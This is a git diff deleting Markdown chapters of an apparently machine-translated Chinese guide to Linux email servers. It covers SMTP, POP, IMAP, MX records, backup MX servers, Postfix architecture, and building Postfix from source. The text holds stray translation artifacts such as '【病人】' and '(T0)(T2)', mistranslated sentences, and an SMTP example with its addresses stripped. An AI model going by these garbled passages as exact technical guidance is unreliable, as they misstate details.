-当选择一台计算机作为电子邮件服务器时,许多人对完成这项任务所需的硬件有误解。 计算机不断提高的性能似乎使人们认为他们确实需要最新的和最符合流行词汇的东西,即使他们每天只想处理几千条消息。 - -虽然需要一定的专业知识来评估组织的硬件需求,但常识是很有用的。 对于一家拥有 100 名用户的公司来说,每天发送信息的上限应该是 5000 条。 这将允许每个用户每天发送或接收 50 条消息。 即使我们说每条消息都是在工作日的 8 小时内发送的,平均而言,系统每分钟处理的消息不会超过 10 条。 现代计算机能够在不到 6 秒的时间内接收并处理单一的电子邮件消息(通常只有几千字节),这是合理的。 - -这个简单的练习显然是非常粗糙的,并且没有考虑到消息通常不会及时均匀地到达,但是这仍然是一种很好的估计方法。 - -现在让我们深入了解一下在选择服务器时应该考虑什么。 对于不执行任何内容扫描(病毒、垃圾邮件等)的电子邮件服务器,性能通常不受 CPU 的限制,而是受 I/O 性能的限制,特别是硬盘的寻道时间以及 I/O 控制器的质量和配置。 在这个问题上增加 CPU 的马力不会有帮助。 现代计算机的 CPU 配置相对好于 I/O 配置,因此投资于多千兆赫的多核 CPU 配置可能是无用的。 对于任何合理的 1 ghz 级的现代 PC,每秒少量的消息是没有问题的。 这个负载相当于每小时近 20,000 条消息。 - -添加内容扫描可能会大大增加 CPU 负载,并且 I/O 系统也需要更多的能量来维持。 不过,每秒一条或两条消息不会给系统带来明显的负载。 - -到目前为止,我们所讨论的只是电子邮件服务器。 它所做的就是接收消息并将其发送到其他主机或本地邮箱。 在选择服务器时,你不应该忘记人们也会想要阅读他们的电子邮件。 此服务由其他服务器软件提供。 就像消息处理软件一样,关键的需求是 I/O 而不是 CPU。 系统的用户数量本身是一个无关紧要的数字; 重要的是使用模式。 用户多久轮询一次邮箱? 如果 100 个用户每五分钟轮询一次邮箱,那么平均每三秒就会有一个。 检查邮箱是否有新消息只需要几分之一秒的时间,因此这个负担不会太大。 - -最后,也可以说是最难考虑的事情是磁盘存储。 使用预期的交通数字,我们可以做一些粗略的估计。 让我们假设 80%的消息小于 1kb, 15%的文档附件为 200kb,其余为视频和其他 1mb 的大文件。因此,使用 200 天的工作年,相当于每年大约 80gb 的存储需求。 假设没有删除任何消息,一个典型的 1tb 磁盘驱动器的容量可以存放超过 12 年的消息。 - -这些指导方针可能看起来含糊不清,不具体,但不可能给出确切的数字。 人们对给定硬件的预期性能取决于如此多的因素,以至于试图给出除了一般指导方针以外的任何东西都会产生误导。 使用常识和简单的粗略计算; 不要购买你能找到的最好的服务器,除非你确定你真的需要它,但也不要使用任何你能找到的废弃的旧台式机。 即使旧台式机的性能可能足够,但组件可能是旧的,服务协议或保修可能过期。 - -# 电子邮件主要协议:SMTP、POP、IMAP - -为什么我们在这本书中讨论基本的网络通信协议? 我们不是在运行高级软件吗? 确实如此,但是了解这些协议不仅可以帮助调试可能无法工作的系统,还可以增加对邮件系统行为的理解。 我们将从非技术性的协议概述开始,之后我们将关注协议的细节。 - -## 概述 - -在 UNIX 环境中,传统的邮件应用根本不使用任何网络协议。 他们直接通过文件系统访问本地存储的邮箱文件。 通常,每个用户的收件箱存储在与用户同名的 `/var/mail`或 `/var/spool/mail`目录中的单个文件中(例如 `/var/spool/mail/joe`)。 本书的重点是讨论一种小型办公室的基于 Linux 的电子邮件解决方案,在这种小型办公室中,用户不希望通过终端应用登录到中央服务器来访问他们的邮件,因此只简要介绍本地邮件存储。 - -Internet 邮件传输中最重要的协议是简单邮件传输协议(T0)(T2) SMTP。 它的目的是在两个系统之间传输电子邮件消息。 这两台计算机要么是服务器,要么其中一台可能是客户端机器,用户可以在上面运行邮件应用- outlook、Thunderbird、Eudora 等。 要收集新消息,最终用户不使用 SMTP。 这就是**邮局协议**(**POP**)和**互联网消息访问协议**(**IMAP**)发挥作用的地方。 【病人】 - -一些专有系统(如 Microsoft Exchange 和 Lotus Notes)使用它们自己的协议来访问消息,我们在这里不讨论它们。 - -## POP 协议 - -POP 是这两种协议中较老且使用更广泛的一种。 它的重点是让用户访问他们的收件箱,用户可以从那里下载新邮件到他们的本地计算机,然后从服务器上删除它们。 POP 服务器并不打算用于永久存储消息。 一些互联网提供商的 POP 服务甚至禁止用户在服务器上留下已下载一次的信息。 POP 的主要缺点是它只提供一个中间存储介质,用户必须将消息永久存储在其他地方(例如,在本地硬盘驱动器上)。 这不仅对于想要从多个位置访问电子邮件消息的用户来说是不切实际的,而且对于系统管理员来说也是个麻烦,他们可能不得不在本地硬盘驱动器上为用户的消息实现备份解决方案。 POP 也没有为每个用户提供多个文件夹的概念; 使用 POP 用户只能访问他/她的收件箱。 - -## IMAP 协议 - -IMAP 是对第一类邮件存储的访问方法,也就是说,它的设计目的是允许用户在服务器上永久地存储消息。 这解决了系统管理员的备份问题,并允许用户访问世界上任何地方的所有消息(除了防火墙的限制)。 IMAP 还具有更广泛的 tls 安全连接实现,这使得 IMAP 可以在恶劣的环境中安全使用。 为了提高性能并允许用户在不连接到邮件服务器的情况下使用邮箱,大多数带有 IMAP 的邮件应用都支持在本地硬盘中缓存下载的邮箱和消息。 - -与 POP 不同,IMAP 支持多个文件夹并在服务器上存储消息状态信息(无论消息是否已被读取、回复或删除)。 这意味着,从不同位置(可能有不同的电子邮件客户机)访问其消息存储的用户将获得其消息的一致的最新视图。 IMAP 还支持服务器端搜索,因此客户机应用不需要下载所有消息来搜索电子邮件。 - -## SMTP 协议 - -SMTP 是一种运行在 TCP 上的面向行的文本协议,这使得解码 SMTP 文本和使用在几乎任何计算机上都可以找到的常规 telnet 客户端发起 SMTP 会话变得非常简单。 SMTP 客户端通过连接 SMTP 服务器的 25 号端口来启动会话。 在服务器向客户端打招呼之后,客户端必须通过说 hello,或者实际上是 `HELO`或 `EHLO`,然后加上客户端的主机名来响应。 如果服务器接受亲切的问候,客户端可以开始第一个邮件事务。 - -一个 SMTP 邮件事务由三个部分组成——一个发件人、一个或多个收件人和实际的消息内容。 发送方用 `MAIL FROM`命令指定,每个接收方用 `RCPT TO`命令指定,消息内容的开始用 `DATA`命令指定。 如果服务器接受消息,客户端可以继续其他事务,或者发出 `QUIT`命令终止 SMTP 会话。 - -让我们不那么抽象地看一个实际的 SMTP 会话来说明该协议。 粗体字代表客户机发送给服务器的内容。 - -```sh -220 mail.example.com ESMTP Postfix (2.12.6.2) -EHLO gw.example.net -250-mail.example.com -250-PIPELINING -250-SIZE -250-VRFY -250-ETRN -250 8BITMIME -250-STARTTLS -250-ENHANCEDSTATUSCODES -MAIL FROM: SIZE=112 -250 Ok -RCPT TO: -250 Ok -RCPT TO: -250 Ok -RCPT TO: -550 : Recipient address rejected: User unknown in local recipient table -DATA -354 End data with . -Subject: Test mail -To: -Date: Sun, 15 May 2009 20:23:22 +0200 (CEST) -This is a test message. -. -250 Ok: queued as B059D3C2B -QUIT -221 Bye - -``` - -这个示例显示了一个自称名为 `gw.example.net`的主机连接到一个自称为 `mail.example.com`的 SMTP 服务器。 因为服务器的第一个响应包含 ESMTP,客户端决定尝试**增强 SMTP**(**ESMTP**),并使用 `EHLO`而不是 `HELO`来迎接服务器。 服务器接受此问候语并响应支持的 ESMTP 扩展列表。 【显示】 - -与发送地址一起,客户端将 `SIZE`属性发送给服务器,以指示消息的大小。 这是允许的,因为服务器声明它支持 `SIZE`扩展。 如果客户端指定的大小超过了服务器设置的消息大小限制,则可以立即拒绝消息,而不是在接收整个消息之后,服务器可以评估消息的大小。 - -一个 SMTP 消息显然可以有多个收件人。 在实现邮件系统和发明策略时,必须记住一些后果。 在前面的示例中,邮件服务器接受前两个收件人,但拒绝第三个收件人。 由于服务器已经接受了两个收件人,客户端将尝试发送消息内容。 在这里,消息被服务器接受并排队等待传递(`250 Ok: queued as B059D3C2B`),这意味着 SMTP 服务器已经接管了将消息传递给接受的收件人的责任。 如果消息无法传递,服务器将向发送方发送一个非传递消息(bounce)。 服务器也可以选择拒绝整个消息。 如果是这样的话,它就会拒绝所有的收件人,而且根本不会发送。 换句话说,为了响应消息内容,服务器必须为所有收件人拒绝消息,或者为所有收件人接受消息。 - -理解信封和标头之间的区别是至关重要的。 消息的信封由 `MAIL FROM`和 `RCPT TO`命令中给出的信息组成,即用于传递消息的发送方和接收方信息。 SMTP 服务器不会注意消息头的 `From, To`和 `Cc`。 在我们的示例中, `To`头只包含一个地址,除了域之外,与实际的接收地址没有其他关系,但这只是巧合。 bounce 总是发送到信封发送地址,在本例中为 `jack@example.net`。 回传消息的发送地址是空发送地址,通常称为空发送地址。 无论对某些人来说多么诱人,都不能阻止空发送地址。 - -到目前为止,我们还没有注释服务器在每行开头给出的数字代码。 每个数字都有特定的含义,学习第一个数字的正确解释是很重要的。 - - -| - -数字 - - | - -意义 - - | -| --- | --- | -| `2` | 服务器已经接受了前一个命令,正在等待您的下一个命令。 | -| `3` | 仅用于响应 `DATA`命令,表示服务器已准备好接受消息内容。 | -| `4` | 临时错误:当前无法执行请求,但稍后可能会成功处理。 | -| `5` | 永久错误:请求永远不会被接受。 | - -在 SMTP 中,错误条件可以是暂时的,也可以是永久的。 `4`和 `5`都用于信号错误。 接收到由 `4`指定的临时错误的客户端应该断开连接,将消息保留在队列中,稍后重试。 典型的临时错误条件包括完整的邮件队列磁盘、必须在接收消息之前解决的服务器配置错误,或者临时 DNS 查找错误。 永久错误是由第一个数字表示 `5`,意味着请求不会被接受,那么客户端必须从队列中删除消息和发送方反弹,告诉他或她,消息无法传递。 - -SMTP 还有更多的东西要介绍。 为了进一步阅读,有许多涉及互联网网络相关主题的文档,称为**征求意见**(**RFC**)。 rfc 是由**Internet Engineering Task Force**(**IETF**)发布的备忘录,被普遍采用为标准。 对于 SMTP 来说,最重要的是**RFC 821**(简单邮件传输协议)和**RFC 822**(ARPA Internet 文本消息的标准格式)。 【病人】 - -# 电子邮件和 DNS - -**域名系统**(**DNS**)在电子邮件中起着重要的作用。 DNS 同时被电子邮件客户机和电子邮件服务器使用。 即使您不打算维护自己的 DNS 服务器,对于邮件服务器操作员来说,彻底了解 DNS 在电子邮件中的角色也是必要的。 本节假设读者对 DNS 的一般工作原理有基本的了解。 - -## 邮件应用使用的 DNS 记录类型 - -在许多组网场景中,只使用两种 DNS 记录类型:**A 记录**和**PTR 记录**。 它们分别将主机名映射到 IP 地址,将 IP 地址映射到主机名。 这些记录类型也用于电子邮件,但还有第三种 DNS 记录类型仅用于电子邮件。 - -SMTP 服务器如何发现某个域的消息应该传递到哪个主机? 毫无疑问,在一个或多个 DNS 查找中,收件人域被用作键。 第一个查找是针对特定于邮件的**MX 记录**—**邮件交换器**记录类型。 MX 条目允许 DNS 操作符指定可以接收某个域邮件的服务器的主机名或主机名。 例如,可以使用 `MX`记录指定在 `example.com`发送给某人的消息应该发送到 `mail.example.com`。 如果接收域没有 `MX`记录,则尝试查找接收域的 `A`记录。 如果 `A`记录查找成功,邮件将被发送到主机。 如果 `MX`和 `A`查找都没有返回任何结果,则认为消息无法传递,并将其返回给发送方。 【病人】 - -拥有 `MX`记录有两个很好的理由: - -* 首先,可能不希望强制将域的 `A`记录映射到邮件服务器。 例如,公司与 WWW 公司地址 http://www.example.com/想要允许访客使用较短的 URL http://example.com/,但不想在邮件服务器上运行 web 服务器应用(反之亦然)。 -* 更重要的原因是 `MX`查找的结果不仅包含主机名列表,而且还包含(主机名,优先级)元组列表。 优先级字段是一个整数,描述主机名在列表中的优先级。 优先级数字的绝对大小无关紧要,但它用于与任何其他主机名的优先级相关,以创建一个有序的主机名列表,以便在传递消息时尝试。 该列表按升序排列,因此优先级编号最低的主机名将首先被联系。 如果两个主机名具有相同的优先级,它们将以随机顺序尝试。 - -等优先级 `MX`记录可以用作两个或多个服务器之间的一种非常粗糙的负载平衡形式。 这对于映射到多个 IP 地址的 `A`记录也是可能的。 可以使用不能使用 `A`记录的 `MX`记录为域设置具有不同优先级的备份邮件服务器的层次结构。 让我们来看一个构造的组织示例,该组织使用许多邮件服务器。 - - -| - -优先级 - - | - -主机名 - - | -| --- | --- | -| `10` | `mx1.example.com` | -| `10` | `mx2.example.com` | -| `20` | `mx3.example.com` | -| `30` | `mx4.example.com` | - -如果为域 `example.com`设置了此 DNS 配置,则 SMTP 服务器将首先尝试将 `example.com`的消息传递给 `mx1.example.com`或 `mx2.example.com`。 如果两个连接都失败,则应该尝试 `mx3.example.com`,如果该服务器也没有及时响应,则 `mx4.example.com`是最后的办法。 如果这也失败了,则保留消息并在稍后的时间重试传递。 - -# 备份邮件服务器 - -如果主服务器不可用,那么有一个备份邮件服务器可以接收消息,这听起来确实是个好主意,但是今天可靠的 Internet 连接加上垃圾邮件、蠕虫和其他垃圾邮件在很大程度上使得备份邮件服务器变得不必要,甚至常常是有害的。 备份服务器的基本原理是,它可以在主服务器宕机时接收消息,然后在主服务器重新启动时将消息传递给主服务器。 然而,这样做的好处非常小,因为所有 SMTP 服务器都需要将无法传递的消息排队至少 5 天,然后才能将它们返回给发件人。 当然,通过备份服务器,可以将不可用的消息存储超过 5 天的时间。 但是,如果主 SMTP 服务器连续 5 天以上不可用,那么可能会出现比丢失一些邮件更大的问题。 - -由于备份邮件服务器通常不具有与主服务器相同的防止垃圾邮件的配置,因此垃圾邮件发送者通常专门针对备份服务器,以便绕过主服务器的更严格的规则。 - -避免备份邮件服务器的另一个重要原因是它们通常不执行收件人验证。 这意味着它们不知道哪些接收地址对于它们充当备份服务器的域是有效的。 这需要备份服务器接受备份域的所有消息,并尝试将它们传递到主服务器。 主服务器将拒绝无效的收件人,从而导致备份服务器将此类消息反弹给发送方。 这就是所谓的后向散射,有两个原因: - -* 发送者地址经常被欺骗,所以反弹可能被发送给一个无辜的旁观者。 -* 它可能用弹起的消息填充邮件队列,这些消息由于接收服务器不可用而无法传递。 - -繁忙的服务器如果不执行收件人验证并受到垃圾邮件的严重打击,则队列中可能存在数千或数万条无法传递的邮件。 - -# 总结 - -在本章中,我们从讨论为什么你应该考虑托管自己的电子邮件服务器开始。 然后,我们研究了在开始使用服务器之前需要回答的一些问题——预期的网络连接类型、计算机能力和磁盘空间需求。 - -要成功地管理电子邮件服务器,了解所使用的网络通信协议是很重要的。 我们概述了 POP 和 IMAP,并对其中最重要的 SMTP 进行了更深入的研究。 - -最后,我们讨论了 DNS 在将消息路由到正确的服务器或可用的备份服务器方面所扮演的重要角色。 \ No newline at end of file diff --git a/docs/linux-email/02.md b/docs/linux-email/02.md deleted file mode 100644 index 38b300de..00000000 --- a/docs/linux-email/02.md +++ /dev/null @@ -1,1645 +0,0 @@ -# 二、设置 Postfix - -**邮件传输代理**(**MTA**)可能是邮件系统中最重要的部分。 它负责从 Internet 或您自己的用户接收消息,并尽其所能确保消息到达它们的目的地—用户的其他邮件服务器或邮箱。 - -本书选择 Postfix 作为邮件转递代理。 Postfix 有一个大的特性集,它有一个优秀的安全跟踪记录,它是快速的,易于配置,并在积极的开发。 - -本书假设您正在运行 Postfix 2.0 或更高版本。 Postfix 的任何特定于 2.0 以后版本的特性或行为都将被注意到。 - -# Postfix 介绍 - -第一部分简要介绍了 Postfix,它是如何工作的,并描述了如何控制它的行为。 - -## 什么是 Postfix - -**Postfix**是 IBM 研究人员 Wietse Venema 开发的模块化邮件传输代理。 它是一个自由软件,并于 1998 年以**VMailer**的名字首次公开发布。 它是用**C**编写的,目前由大约 105,000 行代码(不包括注释)组成,这使得它相当小。 它可以在 UNIX 和 Linux 的大多数非历史变体上工作。 - -作为一个纯粹的邮件传输代理,Postfix 不提供任何允许用户通过**POP 或 IMAP**协议收集邮件的服务。 这个任务必须由其他软件来完成。 本书中讨论的便于从主机检索邮件的软件是**Courier IMAP。** - -Postfix 的所有官方文档、源代码和第三方软件的链接以及非常活跃的邮件列表的存档都可以在 Postfix 的网站[http://www.postfix.org/上找到。](http://www.postfix.org/.) - -## Postfix 架构:概述 - -本节将描述 Postfix 邮件传输代理的不同部分,并解释当您通过系统发送消息时实际发生的事情。 虽然这可能不是您读过的最令人兴奋的文章,但是如果您希望成功地管理 Postfix 服务器,了解 Postfix 如何工作的基本知识是必不可少的。 - -Postfix 被划分为许多单独的**守护进程**,或相互通信的后台进程。 守护进程有不同的职责区域,可能在不同的安全上下文中运行,并且可能对创建的与它们类型相同的进程的数量有不同的规则。 所有守护进程都是根据需要创建的,并且由一个母守护进程 `master`监督。 有些守护进程很少或从未重新启动,但大多数守护进程在服务了一定数量的可配置请求之后,或者在空闲一段可配置的时间之后,会自杀。 下图显示消息如何通过 Postfix 系统,并可用于伴随其后的文本。 实线表示消息内容的路径,虚线表示其他形式的通信。 - -![Postfix architecture: An overview](img/8648_02_01.jpg) - -这里不会描述所有 Postfix 守护进程,只会描述重要的。 可以在[http://www.postfix.org/OVERVIEW.html](http://www.postfix.org/OVERVIEW.html)的*Postfix 架构概述*文档中找到所有守护进程的完整的纲要。 - -### 新消息到达 - -新消息可以通过三种方式到达 Postfix 系统。 当然,最常见的方式是通过**简单邮件传输协议**(**SMTP**)。 负责通过 SMTP 接收消息的守护进程被命名为 `smtpd`。 不常见的**QMQP 提交协议**,在 Daniel J. Bernstein 的 MTA**qmail**中引入, `qmqpd`守护进程也支持该协议。 然而,本书将不讨论 QMQP。 - -消息到达的第三种方式是通过 `sendmail`程序的本地提交。 这是提交来自运行在 UNIX 主机上的程序和脚本的邮件消息的标准方法。 Postfix 提供了一个 `sendmail`程序,在大多数方面与 sendmail 邮件传输代理([http://www.sendmail.org/](http://www.sendmail.org/))的 `sendmail`程序兼容。 许多 UNIX 邮件用户代理(如 mail、Pine 和 Mutt)以及 webmail 软件(如 SquirrelMail 和 IMP)都使用 `sendmail`接口来提交新消息,尽管一些软件提供了通过 SMTP 提交消息的选项。 - -`sendmail`程序将消息传递给**postdrop**程序,该程序将消息文件放在 Postfix `queue`目录中的 `maildrop`目录中。 `pickup`守护进程等待消息到达 `maildrop`目录,并将它们传递给 `cleanup`守护进程。 从那里开始, `sendmail-`提交的消息与通过 SMTP 或 QMQP 提交的消息遵循相同的道路。 即使当前机器上没有运行 Postfix,也可以通过 `sendmail`提交消息。 当 Postfix 下次启动时, `pickup`将发现排队的消息文件并进行处理。 - -当 `smtpd, qmqpd`或 `pickup`接收到一条新消息时,它将其交给 `cleanup`守护进程。 这个守护进程对消息的大小进行限制,对用户配置的任何内容限制进行操作,根据配置的要求重写发送方和/或接收方地址,添加缺少的任何必需的头,并执行一些其他操作。 `cleanup`守护进程使用 `trivial-rewrite`守护进程进行一些地址重写操作。 完成其业务后, `cleanup`将队列文件放入传入队列并通知队列管理器。 - -### 调度消息传递 - -队列管理器, `qmgr`负责调度消息的传递。 为了决定应该如何将消息传递给每个接收者(即传递方法和下一个目的地), `qmgr`从 `trivial-rewrite`获得帮助。 队列管理器从 `master`守护进程请求传递代理进程,并收集传递结果。 - -从 `cleanup`守护进程移交消息开始,队列管理器负责所有消息,直到这些消息从队列中删除。 删除可能是因为它们已经成功地传递给所有收件人,也可能是因为它们在队列中待了太长时间,以致 Postfix 决定它们不能传递。 默认情况下,消息将在队列中最多保留 5 天。 队列管理器调用 `bounce`守护进程向发送方发送一条 `bounce`消息。 - -队列管理器为不同的目的使用许多目录。 将监视传入队列的新消息,下一站是**活动队列**。 活动队列包含已准备好交付并等待分派到交付代理的消息。 如果传递尝试失败,则将消息移动到**延迟队列**。 该队列将被定期扫描,并且,如果是重试传递消息的时候,该消息的队列文件将被移回活动队列中。 扫描队列时是否应该重新尝试传递消息取决于两个因素:从消息到达后经过了多少时间,以及设置重试间隔的最小和最大时间间隔的两个配置参数。 - -除了这些队列之外,还有一个名为**hold**的专用队列。 该队列包含系统管理员使用 `postsuper`命令保持的消息。 Postfix 不会碰这些消息,直到它们被相同的命令取下。 hold 队列可用于暂时停止某些消息的传递,例如,因为它们很大,需要在非高峰时间传递,或者因为它们被认为是可疑的,需要在允许传递之前进行检查。 - -在*QSHAPE_README*文档([http://www.postfix.org/QSHAPE_README.html](http://www.postfix.org/QSHAPE_README.html))中详细描述了 Postfix 使用的不同队列。 本文还介绍了与 Postfix 一起提供的脚本 `qshape`,该脚本分析队列的内容,并帮助您识别瓶颈。 【5】 - -### 消息传递 - -Postfix 附带了许多传递代理,用于使用各种方式和协议传递消息。 传递代理程序是在消息离开系统之前接触它们的最后一个守护进程。 - -Postfix SMTP 客户端 `smtp`(不要与 SMTP 服务器 `smtpd`混淆)用于通过 SMTP 协议向其他主机发送消息。 它非常类似于通过**本地邮件传输协议**(**LMTP**)传递消息的 LMTP 客户端 `lmtp`。 作为一种网络协议,LMTP 非常类似于 SMTP,但是 SMTP 用于在 mta 之间传输消息,LMTP 用于将消息最终传递到邮件存储区,用户可以从邮件存储区访问这些消息。 - -本地传递代理 `local`将消息传递给系统上具有正常帐号的用户。 它支持简单邮件列表或角色地址的别名以及 `.forward`文件,以便用户自己可以设置转发他们的消息。 - -如果您有虚拟邮箱用户—系统上没有真实帐户(例如 shell 帐户)的用户,那么他们的消息将通过 `virtual`Postfix 守护进程交付。 - -如果 Postfix 的标准传递代理还不够,您可以编写自己的传递代理,并让 Postfix 对某些(或所有)消息调用它。 在这种情况下,您可以使用 `pipe`守护进程的消息正文给你投递代理通过标准输入流,或者您可以使用 `spawn`守护进程,如果你想写一个投递代理接受消息通过一些网络协议。 - -### 配套项目 - -Postfix 包含许多支持程序,您可以使用它们来控制、测试和调试您的 Postfix 系统。 这个列表并不是详尽无遗的,只给出了每个程序的简要描述,但其中一些程序将在本章后面使用。 结识他们是一个好主意,这样你至少知道他们可以帮助你解决什么样的问题。 - - -| - -程序 - - | - -描述 - - | -| --- | --- | -| `mailq` | 查看 Postfix 队列的当前内容。 输出包括每条消息的大小、到达时间、发送地址和接收地址/地址。 在内部, `mailq`只调用 `postqueue`命令,其存在只是为了向后兼容 `sendmail`邮件传输代理。 | -| `newaliases` | 使用 `postalias`命令重新生成所有本地别名文件。 本地别名将在*虚拟别名域和*节中介绍。 | -| `postalias` | 重新生成单个别名文件或查询别名查找表。 | -| `postcat` | 显示驻留在 Postfix 队列中的二进制队列文件的内容。 | -| `postconf` | 显示 Postfix 配置参数的当前值或默认值。 还可以修改主配置文件,这在脚本中是有用的。 | -| `postfix` | 启动、停止或重新启动 Postfix,或重新加载其配置。 还可以用于检查队列目录和其他一些很少使用的管理任务的完整性。 | -| `postmap` | 重新构建用于表查找的索引数据库文件或查询任何查找表。 带有 postmap 的*故障诊断一节讨论了如何使用它来调试 Postfix 设置。* | -| `postqueue` | 除了执行 `mailq`程序的工作外, `postqueue`还可以用来刷新队列。 刷新队列意味着将延迟队列中的所有消息移动到活动队列中。 这对于安排即时消息传递可能很有用,但要小心。 如果您的服务器负载很重且性能很差,那么刷新队列只会使情况变得更糟。 同样出于兼容性的原因, `sendmail`程序也可以用来刷新队列。 | -| `postsuper` | 允许您对已排队的消息采取操作,例如删除或重新排队。 它还可以对队列目录执行结构检查,并修复队列文件名称错误等问题。 例如,如果从备份中移动或恢复了整个队列目录,则需要进行这种检查。 | - -# 安装和基本配置 - -在本节中,我们将了解如何获取和安装 Postfix,以及如何进行基本的配置更改。 在本节结束时,您将能够使用 Postfix 发送和接收电子邮件消息。 - -## 选择 Postfix 版本 - -Postfix 的开发有两个独立的分支——官方版本和实验版本。 官方版本有时被称为稳定版本,但这多少有些误导,因为它暗示了实验版本是不稳定的。 事实并非如此。 这个实验版本用于引入所有新的 Postfix 特性。 当特性及其接口(例如,它们的配置参数)的实现足够稳定时,它们将被引入官方版本。 通常,对官方版本所做的唯一更改是 bug 修复和可移植性问题的修复。 - -实验版本在生产环境中是可用的,但是代码当然没有经过太多的测试,并且配置参数及其语义在不同版本之间可能会发生变化。 如果您运行实验版本,则更有可能遇到 bug 和其他稳定版本不应该出现的异常。 另一方面,您可以在使用稳定版本的用户之前访问新特性。 如果您选择使用实验版本,那么您应该从源代码构建并安装 Postfix,而不是使用某些包管理系统(比如 rpm)。 这将允许您轻松地为新发现的问题应用任何补丁。 - -实验版本有一个版本号,该版本号表示即将发布的正式版本号和实验版本的发布日期。 例如,在撰写当前官方版本时,当前的正式版本是 2.6.3,而当前的实验版本是 2.7-20090807。 - -## 从包中安装 - -大多数 Linux 发行版都将 Postfix 作为一个包,可以很容易地安装。 您最好使用发行版的软件包,除非您习惯于从源代码构建软件,并在必要时调试可能发生的任何构建问题。 大多数包都预先构建了一些额外的特性,否则就需要更复杂的构建过程。 - -因为有许多不同的打包系统,所以本书将不介绍安装 Postfix 包的实际过程。 有关详细信息,请参阅软件包管理系统的文档。 - -### 提示 - -对于允许同时安装多个邮件传输代理的发行版的用户,有一个警告:如果您正在安装 Postfix 以取代另一个邮件传输代理,那么您应该确保先前的软件已正确地从系统中删除。 可能所有的邮件传输代理提供一个 `sendmail`程序,安装这个文件名称,如 `sendmail.postfix`,和一个符号链接点从 `sendmail`到 `sendmail.postfix`之类的邮件传输代理 `sendmail`项目选择是最主要的。 如果这个符号链接不指向 Postfix 的 `sendmail`程序,那么当您试图发送消息时可能会感到惊讶。 - -## 从源代码安装 - -从原始源代码安装 Postfix 并不是很困难,它使您能够运行您想要的任何版本,而不仅仅是您的 Linux 发行版的包维护人员所选择的版本。 Postfix 的源代码可以从 Postfix 主网站[http://www.postfix.org/download.html](http://www.postfix.org/download.html)的多个镜像中下载。 - -一旦你已经下载并打开归档在合适的目录(例如)`/usr/local/src`,你会注意到 Postfix 构建系统不使用 GNU autotools,因此没有 `configure`脚本,通常发现在打开源代码归档文件的根目录。 Postfix 构建系统将自动处理这一步。 如果您想在一些非标准的位置安装 Postfix,不要担心,稍后您将有机会设置各种安装目录。 - -如果您需要启用非标准特性,比如对 MySQL 或 LDAP 查找的支持,您必须告知构建系统这一点,以及在哪里可以找到每个特性的库和头文件。 关于每个非标准功能的详细说明和详细说明,请查阅每个非标准功能的 `README`文件。 例如,在 `README_FILES/MYSQL_README`中找到的 MySQL 指令告诉你在构建 Postfix 时运行以下命令来启用 MySQL 支持: - -```sh -$ make -f Makefile.init makefiles \ 'CCARGS=-DHAS_MYSQL -I/usr/local/mysql/include' \ 'AUXLIBS=-L/usr/local/mysql/lib -lmysqlclient -lz -lm' - -``` - -调整 MySQL 头文件和共享库在系统中的路径。 您必须安装 MySQL 的开发头文件和库。 根据您的 Linux 发行版,这些可能必须单独安装。 - -如果需要多个额外特性,则必须将 `README`文件中给出的命令组合起来。 做这件事时要密切注意。 所有的引号、等号和空格都必须在正确的位置。 变量 `CCARGS`和 `AUXLIBS`必须只设置一次,因此组合多个配置命令的一般形式是: - -```sh -$ make -f Makefile.init makefiles \ 'CCARGS= ' \ 'AUXLIBS= ' - -``` - -在此之后,您就可以使用下面的命令来构建 Postfix: - -```sh -$ make - -``` - -当构建完成后(希望没有错误),就可以创建一个用户和一些组,Postfix 可以为它的许多守护进程使用这些组。 首先添加两组—— `postfix`和 `postdrop`。 例如,您可以使用 Linux 发行版中可能提供的 `groupadd`工具。 - -```sh -$ groupadd postfix -$ groupadd postdrop - -``` - -通过检查 `/etc/group`的内容来验证这一点。 现在它应该包含类似这样的行: - -```sh -postfix:x:123: -postdrop:x:321: - -``` - -下一步是创建一个名为 `postfix`的用户。 该用户既不需要 shell 访问,也不需要有效的主目录。 这个新用户的主组应该是新创建的 `postfix`组。 下面是如何使用 `useradd`工具: - -```sh -$ useradd -c postfix -d /tmp -g postfix -s /bin/false postfix - -``` - -同样,通过检查 `/etc/passwd:`的内容来验证 - -```sh -postfix:x:12345:123:postfix:/tmp:/bin/false - -``` - -下一个也是最后一个步骤是安装新构建的 Postfix。 如果您是第一次安装 Postfix 在这个特定的 Linux 安装,运行以下命令: - -```sh -$ make install - -``` - -这个命令将指导您完成一个交互式的安装过程,在这个过程中您可以选择各种安装目录和文件位置。 - -如果您正在从以前的版本升级 Postfix,运行以下命令代替: - -```sh -$ make upgrade - -``` - -好吧! Postfix 现在已经安装在您的系统上,您很快就可以使用它了。 - -为了确保 Postfix 在系统引导时启动,需要一些额外的措施。 大多数 Linux 系统都有一个 `SysV-style init`,因此您需要构建一个 `init`脚本,并在运行级目录中建立适当的链接。 - -## Postfix 配置 - -与大多数 UNIX 软件一样,Postfix 从存储在 `/etc`目录或其子目录中的文本文件中读取配置。 Postfix 配置文件通常存储在 `/etc/postfix`中,但是您可以配置 Postfix 以使用任何其他目录。 Postfix 使用两个主要的配置文件 `master.cf`和 `main.cf`,以及您自己设置的任何辅助文件。 - -在更改这些文件之后,必须重新加载 Postfix。 这可以通过启动 Postfix 的同一个程序来实现,可以通过 `init`脚本或者通过发行版提供的其他一些服务管理工具来实现。 - -```sh -postfix reload -/etc/init.d/postfix reload -/etc/rc.d/init.d/postfix reload - -``` - -### 注意事项 - -**更改**后需要重新启动 Postfix - -如果修改了 `inet_interfaces`参数,则重新加载是不够的。 Postfix 必须停止并重新启动,以使更改生效。 对于 Postfix 2.2 中引入的 `inet_protocols`参数也是如此。 - -### main.cf - -您将最频繁编辑的文件是 `main.cf`。 这个文件定义了控制 Postfix 守护进程行为的参数。 每一行有以下形式: - -```sh -parameter = value - -``` - -这仅仅意味着将内容 `value`分配给名为 `parameter`的配置参数。 一个参数在 `main.cf`中只能指定一次。 如果在 `main.cf`中错误地在不同的地方给相同的参数提供不同的内容,最后一个出现的将是 Postfix 使用的那个。 除此之外,参数在 `main.cf`中列出的顺序是无关紧要的。 然而,在参数内容中,关键字的顺序可能很重要。 例如,以下两个参数设置不一定相等: - -```sh -parameter = A, B -parameter = B, A - -``` - -如果在 `main.cf`中没有指定参数的值,Postfix 将使用默认值。 大多数参数的默认值是在源代码中硬连接的,但是一些默认值是在构建时确定的,还有一些是在运行时确定的。 - -可以将 `main.cf`中的行以 `#`开头标记为注释。 - -```sh -# These two lines are comments. They can be used to temporarily -# disable parameters, or to explain the configuration. -mydomain = example.com -mydestination = $mydomain, localhost - -``` - 